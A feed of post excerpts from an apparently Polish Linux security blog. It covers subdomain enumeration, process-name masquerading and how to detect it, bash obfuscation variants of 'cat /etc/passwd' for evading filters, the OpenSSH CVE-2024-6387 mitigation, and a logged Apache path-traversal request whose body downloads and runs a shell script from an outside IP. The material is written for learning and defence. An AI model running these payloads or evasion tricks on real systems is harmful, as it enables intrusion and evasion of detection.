Nie musimy ściągać wyrafinowanych narzędzi do enumeracji subdomen wybranej domeny. Powinna wystarczyć nam dobra lista oraz dwa narzędzia, które bardzo często znaleźć zainstalowane w systemie Linux: dig oraz xargs:

$ wc -l subdomians.txt
100 subdomians.txt

$ time cat subdomians.txt | xargs -P0 -I subdomain dig +noall subdomain.nfsec.pl +answer
www.nfsec.pl.		3600	IN	CNAME	nfsec.pl.
nfsec.pl.		3600	IN	A	146.59.92.70
ns1.nfsec.pl.		3600	IN	A	146.59.92.70
ns2.nfsec.pl.		3600	IN	A	213.251.188.141
ns3.nfsec.pl.		3600	IN	A	46.105.206.200
ns4.nfsec.pl.		3600	IN	A	46.105.207.200

real	0m0.390s
user	0m0.764s
sys	0m0.599s

If max-procs (-P) is 0, xargs will run as many processes as possible at a time.

Więcej informacji: Hostname bruteforcing on the cheap

// sleeper.c

#include 
#include 

int main()
{

    sleep(60);
    printf("Infecting Linux Host.");
    return 0;
}

agresor@darkstar:~$ gcc -o sleeper sleeper.c
agresor@darkstar:~$ exec -a '/lib/systemd/systemd --abuse' ./sleeper &
[1] 5354
agresor@darkstar:~$ ps x
    PID TTY      STAT   TIME COMMAND
   4925 ?        Ss     0:00 /lib/systemd/systemd --user
   4926 ?        S      0:00 (sd-pam)
   4988 ?        R      0:00 sshd: agresor@pts/0
   4989 pts/0    Ss     0:00 -bash
   5354 pts/0    S      0:00 /lib/systemd/systemd --abuse
   5357 pts/0    R+     0:00 ps x

Należy mieć na uwadze, że exec najlepiej w tym przypadku działa z plikami binarnymi. I bardzo prosto wykryć ten trick:

agresor@darkstar:~$ ls -al /proc/5354/exe
lrwxrwxrwx 1 agresor agresor 0 Oct 27 19:24 /proc/5354/exe -> /home/agresor/sleeper
agresor@darkstar:~$ cat /proc/5354/cmdline
/lib/systemd/systemd --abuse
agresor@darkstar:~$ cat /proc/5354/comm
sleeper

Więcej informacji: Why isn’t `exec -a` working the way I expect?

W

celu zrozumienia jak powstają zawieszone rekordy DNS (ang. dangling DNS records) należy posiadać podstawową widzę na temat działania usługi DNS, która tłumaczy przyjazne dla użytkowników nazwy domen, takie jak nfsec.pl (łatwe do zapamiętania i rozpoznania) na numeryczne adresy IP. Adresy IP dla każdej domeny są przechowywane na autorytatywnych serwerach DNS, które można porównać do książek telefonicznych w internecie. Po wpisaniu adresu strony internetowej w przeglądarce, przeglądarka na początku łączy się z rekurencyjnym serwerem DNS i zadaje pytanie: “Jaki jest adres IP nfsec.pl?”. Rekursywny serwer DNS wysyła zapytanie do serwera autorytatywnego w celu uzyskania odpowiedzi (oczywiście to trochę bardziej skomplikowane).
[ czytaj całość… ]

Telfhash to funkcja haszująca używanych symboli dla plików ELF w systemie *nix, tak jak imphash to funkcja haszująca importowanych bibliotek dla plików PE w systemie Windows. Za jej pomocą możemy grupować pliki ELF według podobieństwa na podstawie ich tabeli symboli. Pozwala to na byciu na bieżąco ze wszystkimi wariantami szkodliwego oprogramowania (ang. malware), które są stale rozwijane i dokładne grupowanie zgodnie z ich rzeczywistą rodziną pochodzenia np. Tsunami, Gafgyt, czy Mirai. Telfhash do swoich obliczeń używa TLSH, co umożliwia mu rozpoznawanie oryginalnych próbek, nawet gdy zostały dodane do nich nowe funkcje importujące nowe biblioteki. Jeśli rozebrany i statycznie skompilowany plik binarny nie ma symboli, telfhash emuluje je poprzez uzyskanie i stworzenie listy z adresów docelowych dla wywołań funkcji.
[ czytaj całość… ]

P

oprzez wykorzystanie dowolnych komentarzy zawierających specjalny znak nowej linii: “\n” i za pośrednictwem poleceń iptables oraz iptables-save możemy nadpisać dowolny plik z prawami administratora i częściowo kontrolować zapisane wiersze – częściowo, ponieważ moduł komentarzy w iptables pozwala na umieszczenie 256 znaków, a zapis pliku poprzez iptables-save wprowadza pewne dane z utworzonych reguł zapory ogniowej (ang. firewall), które są dodawane przed i po wstrzykniętym komentarzu. W systemie Linux jest przynajmniej jeden plik, który nie przejmuje się niepotrzebnymi wierszami i je ignoruje, a jest nim (nie)sławny plik /etc/passwd.
[ czytaj całość… ]

P

owłoka bash zawiera wiele funkcji, które pojawiają się w innych popularnych powłokach, a także niektóre funkcje, które są tylko w niej. Dzięki rozbudowanej składni pozwala na pisanie skryptów w wewnętrznym języku programowania, a jego elementy upraszczają pracę w codziennej pracy z wydawanymi poleceniami np. touch {exploit,payload}.{c,sh} tworzy jednym poleceniem cztery pliki: exploit.c, exploit.sh, payload.c, payload.sh. Dzięki temu jedno polecenie może zostać wydane na wiele różnych sposobów używając techniki zaciemnienia / obfuskacji (ang. obfuscation), która zmienia składnię polecenia, ale zachowuje jego semantykę jednocześnie utrudniając jego zrozumienie i umożliwiając ominięcie różnego rodzaju filtrów i mechanizmów detekcyjnych. Na przykład popularne polecenie, takie jak:

cat /etc/passwd

może zostać zapisane na wiele różnych sposobów dając ten sam wynik:

cat /et\
c/pa\
sswd

cat${IFS}/etc/passwd

IFS=,;`cat<<<cat,/etc/passwd`

{cat,/etc/passwd}

cat</etc/passwd

X=$'cat\x20/etc/passwd'&&$X

cat ${HOME:0:1}etc${HOME:0:1}passwd

{\c''\a""t,/e''*?/?a?s??}

{\c''\a""\t,/\e''*?/\p*w\d}

{$'\x63'\a$'\x74',/\e''*?/\p*w$'\x64'}

{/b??/g?e?,.,/e??/p?s??d}

$(echo {/b??/ge*n''t,\p\a\s\s\w\d})

$(echo cat /etc/[p][a][s][s][w][d])

cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`

hex=(63 61 74 20 2F 65 74 63 2F 70 61 73 73 77 64) \ 
echo $(for i in ${hex[@]}; do echo -n -e "\x$i"; done) | sh

cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

showme=/ehhh/hmtc/pahhh/hmsswd&&cat ${showme//hhh\/hm/}

Przykłady te wykorzystują znak ucieczki dla nowej linii, separator pól wejściowych, przekierowania strumieni, notację ANSI-C, podstawianie poleceń, rozbudowę klamry, manipulację ciągami tekstowymi, symbole wieloznaczne, wyrażenia regularne z nawiasami kwadratowymi, przekształcanie oraz rozszerzanie parametrów powłoki. Możliwości zapisu poleceń w postaci alternatywnej zależy tylko od naszej kreatywności oraz poziomu zaawansowania umiejętności administracyjno-programistycznych w powłoce.

Więcej informacji: Extraction of wiki.bash-hackers.org from the Wayback Machine

O

statnio miałem okazję wziąć udział w szkoleniu, które przygotował Leszek Miś pt. “Linux Attack, Detection and Live Forensics + 90 Days PurpleLabs Access” (całość jest w języku angielskim) – jest to jedno z niewielu dostępnych szkoleń, które jest w 100% skupione na systemie operacyjnym Linux. Po otrzymaniu dostępu do platformy szkoleniowej oraz laboratorium czekało na mnie 225 tematów do opracowania – kilka z nich można oczywiście odjąć z technicznego punktu widzenia, ponieważ są to tematy wprowadzające / wyjaśniające zasady pracy z kursem i maszynami do testów. Niemniej dobór materiału jest naprawdę spory i stanowi solidny fundament do nauki technik atakowania i obrony systemu Linux. Przy pierwszej styczności z mapą zagadnień od razu przypomniała mi się pierwsza, kupiona książka w tym temacie, czyli “Linux. Agresja i Ochrona” wydawnictwa Robomatic (ISBN: 838715041X) – tylko tym razem materiał można od razu przećwiczyć na gotowych scenariuszach i nie użyjemy już do tego SATANa.

Ponieważ dostęp do materiałów jest nieograniczony, ale dostęp do infrastruktury labów trwa aż 90 dni – podzieliłem sobie cały material od 3 do 5 zagadnień dziennie, aby mieć wolne niektóre weekendy oraz zapas czasu w przypadku braku możliwości wieczornej nauki w tygodniu. Pierwsze dni zostały poświęcone na sprawdzenie wszystkich dostępów oraz przygotowanego ekosystemu. Na początku “skakanie” po infrastrukturze może wydawać się trochę uciążliwe, ale posiadając do dyspozycji agregator adresów i dostępów z czasem nabiera się wprawy. Kolejne kroki to już intensywne wgryzanie się w przedstawione scenariusze, opisy i narzędzia, z których można wynieść wiele wartościowych wniosków. To, co najbardziej spodobało mi się w szkoleniu to różnorodne podejście do całości. Podczas nauki poszczególnych rozdziałów otrzymujemy możliwość zapoznania się z technikami, taktykami i strukturami narzędzi ofensywnych używanych w atakowaniu Linuksa; polecenia i ekosystem pozwalający na przeprowadzanie polowań na poznane zagrożenia oraz zestaw stabilnych, darmowych rozwiązań, które możemy od razu przetestować jako warstwy do ochrony i wykrywania ataków na systemie Linux i jego komponentach. Wszystko to robimy na różnych poziomach (przestrzeni użytkownika / jądra) oraz warstwach (aplikacyjnych / sieciowych) systemu.

Listę poruszanych tematów możemy znaleźć na oficjalnej stronie szkolenia (prowadzony jest nawet jego changelog). Wiele z nich jest poruszone w sposób wyczerpujący, a niektóre dają bardzo mocne podstawy do dalszej eksploracji tematu czy zagadnień przewijających się w nich przy okazji. Jeśli znajdziemy jakieś błędy lub dezaktualizację to możemy je zgłaszać na adres e-mail lub jako komentarz pod konkretnym zadaniem. Mi przy okazji paru znajdek udało się zamienić kilka zdań z autorem, a ponieważ wpis ten nie jest w żaden sposób sponsorowany – Leszek był tak miły, że dla 20‘stu zainteresowanych czytelników NF.sec przygotował kod dający 20% zniżki, który można wykorzystać do 15.08.2024 r. Jeśli zakres materiału Was przekonuje to ze swojej strony mogę polecić tę pozycję na ścieżce doskonalenia swojego warsztatu z bezpieczeństwa systemu Linux.

J

ednostka badawcza firmy Qualys (ang. Qualys Threat Research Unit – TRU) opublikowała szczegóły krytycznej luki w kodzie OpenSSH (sshd) umożliwiającej zdalne wykonanie kodu bez uwierzytelniania w systemach Linux opartych na glibc. CVE powiązane z tą luką to CVE-2006-5051 i CVE-2024-6387. Powodem zastosowania dwóch numerów CVE w tym wykorzystania tego z 2006 roku jest regresja, czyli powrót starego błędu. Niestety zdarza się to dość regularnie (nie w przypadku OpenSSH, ale ogólnie różnego rodzaju oprogramowania), że programiści nie dodają testów, aby upewniać się, że luki odkryte wcześniej w cyklu życia programu są pokryte łatami w przyszłych wersjach. Wersje OpenSSH starsze niż 4.4p1 są podatne na CVE-2006-5051 oraz CVE-2008-4109, z kolei OpenSSH w wersji 8.5p1 (tutaj w październiku 2020 pojawiła się regresja) do 9.8p1 (ale nie włącznie – to jest wersja poprawiona) są podatne na CVE-2024-6387 z powodu przypadkowego usunięcia krytycznego komponentu w funkcji. Ten błąd nie dotyczy systemów OpenBSD, ponieważ w 2001 roku OpenBSD opracowało bezpieczny mechanizm, który zapobiega tej luce.

Należy jednak pamiętać, że wiele dystrybucji Linuksa nie większy numerów wersji, jeśli naniosą łatkę na aktualnie używany pakiet – tylko podniesie swój wewnętrzny patchset np. z 8.9p1-3ubuntu0.7 do 8.9p1-3ubuntu0.10. Jakie dystrybucje są podatne?

• RedHat Enterprise 9
• Fedora Linux od 34 do 40
• Debian 12 (Bookworm)
• Ubuntu 22.04, 23.10, 24.04
• openSUSE Leap 15.6, Tumbleweed
• Alpine Linux od 3.14 do 3.20
• Arch Linux

Warto zaznaczyć, że luka ta opiera się na wygraniu wyścigu, czyli występuje tutaj problem z synchronizacją czasową wielu operacji, a samo wykorzystanie luki nie jest łatwe do odtworzenia – autorzy luki musieli wykonać około 10.000 prób na platformie x86 (32-bitowej), gdzie większość systemów Linux działa obecnie na architekturach 64-bitowych i ich eksploitacja wydaje się obecnie niepraktyczna. Luka może mieć jednak znaczenie w przypadku starszych systemów IoT, szczególnie jeśli nie są już dla nich dostępne poprawki bezpieczeństwa.

Mitygacja zagrożenia:

Proces sshd można chronić przed tym atakiem ustawiając odpowiedni parametr LoginGraceTime. Serwer OpenSSH nadal będzie podatny na ataki typu DoS (ang. Denial of Service), poprzez wyczerpanie wszystkich połączeń przez osobę atakującą, ale nie pozwoli na zdalne wykonanie kodu. Jako użytkownik root powinniśmy edytować plik /etc/sshd_config oraz dodać lub edytować wspomnianą opcję ustawiając jej wartość na zero:

LoginGraceTime 0

Po zapisaniu pliku należy zrestartować serwer OpenSSH:

systemctl restart sshd.service || /etc/init.d/sshd restart

Powyższe ustawienie wyłącza zdolność serwera sshd do zrywania połączeń, jeśli uwierzytelnianie nie zostanie zakończone w określonym czasie. Dlatego może to prowadzić do skutecznych ataków typu odmowa usługi (DoS). Jeśli zdecydowaliśmy się na to rozwiązanie to najlepiej połączyć je z narzędziem typu fail2ban lub zaporą ogniową *tables (a nawet techniką pukania w porty) w celu monitorowania logów i odpowiedniego limitowania połączeń na port SSH.

U

ltimate Packer for Executables (UPX) to program pakujący dla kilku formatów wykonywalnych, takich jak biblioteki DLL systemu Windows, aplikacji macOS oraz Linux ELF. Jak możemy przeczytać na oficjalnej stronie programu UPX: “potrafi zazwyczaj zmniejszyć rozmiar plików programów i bibliotek DDL o około 50% – 70%, redukując w ten sposób miejsce na dysku, czas ładowania w sieci, czas pobierania oraz inne koszty dystrybucji i przechowywania”. Programy pakujące zasadniczo biorą oryginalny plik wykonywalny i dodają mały fragment kodu zwany “odgałęzieniem” (ang. stub) do nowo utworzonego wykonywalnego pliku. Kod pośredniczący zostanie następnie użyty do rozpakowania pliku i “przywrócenia” pliku wykonywalnego do jego pierwotnego stanu. Podczas, gdy niektóre programu pakujące, takie jak wspomniany UPX, tylko kompresują pliki, inne mogą je również szyfrować. Atakujący często używają kompresji, aby ukrywać złośliwe oprogramowanie jako pozornie nieszkodliwe i legalne pliki, co może oszukać silniki antywirusowe oparte na sygnaturach.
[ czytaj całość… ]

W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:
[ czytaj całość… ]